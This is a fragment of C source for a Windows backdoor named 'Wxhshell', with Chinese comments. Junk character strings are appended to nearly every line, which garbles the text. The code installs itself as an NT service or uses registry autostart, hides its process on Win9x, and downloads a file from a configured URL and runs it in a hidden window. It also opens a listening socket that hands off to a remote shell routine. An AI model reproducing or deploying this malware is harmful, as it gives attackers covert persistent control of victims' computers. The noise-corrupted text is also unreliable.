ULONG InheritedFromUniqueProcessId; hi!L\yi
} PROCESS_BASIC_INFORMATION; Ua):y) A
j?EskT6
PROCNTQSIP NtQueryInformationProcess; iO!27y
Zimh_
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; duX0Mc.0P
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aSc{Ft/O
kTnOmAw
HANDLE hProcess; cVO,~I\\
PROCESS_BASIC_INFORMATION pbi; 7#QLtU
&^V~cJ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t?gJNOV
if(NULL == hInst ) return 0; q`XW5VV{K
<&4nOt
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B\\6#
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !Citzor
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #@ 9)h
EE+`i%
if (!NtQueryInformationProcess) return 0; M'kVL0p?vN
v @:~mwy
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FY$fV"s
if(!hProcess) return 0; rJ'/\Hh5P
]1m"V;vZ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g%ubvu2t]
Mtm/}I
CloseHandle(hProcess); OB(pIzSe
U#bl=%bF
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ][,4,?T7
if(hProcess==NULL) return 0; z"lqrSJ:
*l{yW"Su
HMODULE hMod; Guh%eR'Wt
char procName[255]; 3{KR
{B#L
unsigned long cbNeeded; 'Y.Vn P&H
~3gru>qI&
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &-M]xo^
9M_(He
-
CloseHandle(hProcess);
|g%mP1O
Zmf'{t T5
if(strstr(procName,"services")) return 1; // 以服务启动 petW
M@
'0:i<`qv#g
return 0; // 注册表启动 Ow3P-UzU3
} #Z\O}<
B$^7h!
// 主模块 .-0%6]
cFD
int StartWxhshell(LPSTR lpCmdLine) k@V#HC{t
{ } VEq:^o.
SOCKET wsl; ZsZcQj6G,
BOOL val=TRUE; %K(0 W8&
int port=0; X eoJ$PfT
struct sockaddr_in door; #]9hTa IR
Gih[i\%Q
if(wscfg.ws_autoins) Install(); RW_q~bA9
6 {}JbRNf
port=atoi(lpCmdLine); Y#FO5O%W
][d,l\gu+s
if(port<=0) port=wscfg.ws_port; dA_YL?or
JqCc;Cbd
WSADATA data; :~zv t
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _n"Ae?TP
2Vk\L~K
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; y,=du
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >xu[q\:"
door.sin_family = AF_INET; N8v'70
door.sin_addr.s_addr = inet_addr("127.0.0.1"); NOt@M
door.sin_port = htons(port); #eK=
y{d^?(-
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RKZ6}q1n
closesocket(wsl); |>2FRPK
return 1; :B|Dr
v
} [u
M-0t
ZDx@^P y
if(listen(wsl,2) == INVALID_SOCKET) { QvLZg
closesocket(wsl); 9!U@"~yB
return 1; w!SkWS b,~
} 'Z&;uv,l
Wxhshell(wsl); vyI%3+N@
WSACleanup(); ;n6b%,s
9bJQT'<R
return 0; 93O;+Z5J
!}KqB8;
} %."@Q$lA
GiFXX
// 以NT服务方式启动 |J0Q,F]T
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1l8Etp&<
{ Thr*^0$C
DWORD status = 0; xJZ@DR,#
DWORD specificError = 0xfffffff; *[+)7
{@Y
serviceStatus.dwServiceType = SERVICE_WIN32; Ae uX Qt
serviceStatus.dwCurrentState = SERVICE_START_PENDING; awewYf$li
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bEV<iZDq%
serviceStatus.dwWin32ExitCode = 0; ?7MqeR4/E
serviceStatus.dwServiceSpecificExitCode = 0; |=a}iU8
serviceStatus.dwCheckPoint = 0; jJZgK$5+
serviceStatus.dwWaitHint = 0; J;$N{"M
Q@@v1G\
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B>y9fI
if (hServiceStatusHandle==0) return; Cx_Q :6T
}!>=|1fY
status = GetLastError(); !T,AdNa8
if (status!=NO_ERROR) nqVZqX@oE
{ c`*TPqw(B[
serviceStatus.dwCurrentState = SERVICE_STOPPED; Q,h7Sk*
serviceStatus.dwCheckPoint = 0; *Vw\'%p*
serviceStatus.dwWaitHint = 0; X+k}2HvNG
serviceStatus.dwWin32ExitCode = status; WQNE2Q
serviceStatus.dwServiceSpecificExitCode = specificError; Xjio Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gfp1mev
return; X^9d/}uTa
} eP.Vd7ky
k>jbcSY(z<
serviceStatus.dwCurrentState = SERVICE_RUNNING; \dQx+f&t
serviceStatus.dwCheckPoint = 0; &k7;DO
serviceStatus.dwWaitHint = 0; CSPKP#,B0[
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <"D=6jqZ
} )vg5((C
3bZIYF2@
// 处理NT服务事件,比如:启动、停止 Wo~vhv$E
VOID WINAPI NTServiceHandler(DWORD fdwControl) l7{oi!
{ /walu+]h
switch(fdwControl) 2Qp Hvsl_
{ me6OPc;:!
case SERVICE_CONTROL_STOP: C;QAT
serviceStatus.dwWin32ExitCode = 0; +
b$=[nfG
serviceStatus.dwCurrentState = SERVICE_STOPPED; \#-W
<
serviceStatus.dwCheckPoint = 0; #GDe08rOw
serviceStatus.dwWaitHint = 0; +Q=1AXe
{ ]u l$*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); r;L>.wl*I
} h_1T,f(
return; gBh;=vOD
case SERVICE_CONTROL_PAUSE: /&F,V+x
serviceStatus.dwCurrentState = SERVICE_PAUSED; '0y9MXRT
break; VvFC -r,=G
case SERVICE_CONTROL_CONTINUE: ~c)~015`
serviceStatus.dwCurrentState = SERVICE_RUNNING; DypFl M*
break; Uw,2}yR
case SERVICE_CONTROL_INTERROGATE: OouPj@r
break; P&m\1W(
}; R8rfM?"W
SetServiceStatus(hServiceStatusHandle, &serviceStatus); x3qW0K8
} /!^&;$A'
oI)GKA_Ng7
// 标准应用程序主函数 Yt|6
X:l
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [V'QrcCF
{ 3d<HN6&U
Xc"&0v%;#
// 获取操作系统版本 %sHF-n5P
OsIsNt=GetOsVer(); U9D!GKVp
GetModuleFileName(NULL,ExeFile,MAX_PATH); \AL
f$88>@
~4P%%b0,o
// 从命令行安装 9j W2
if(strpbrk(lpCmdLine,"iI")) Install(); FnJ?C&xK
V $z}
K
// 下载执行文件 yV_4?nh
if(wscfg.ws_downexe) { S=_vv)6+4
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zIP6\u
WinExec(wscfg.ws_filenam,SW_HIDE); CPg+f1K
} dl hdsj:
"D?z
if(!OsIsNt) { EkGQ(fZ1|
// 如果时win9x,隐藏进程并且设置为注册表启动 Fu&EhGm6
HideProc(); JXyM\}9-X
StartWxhshell(lpCmdLine); o9cM{ya/>
} ui (^k $
else 3%.#}O,(
if(StartFromService()) Gmf B
// 以服务方式启动 el:9 wq
StartServiceCtrlDispatcher(DispatchTable); 8]&i-VFof
else +}f9
// 普通方式启动 r5!/[_l
StartWxhshell(lpCmdLine); 3O7!`Nm@
_`64gS}^
return 0; }Tf9S<xpq3
}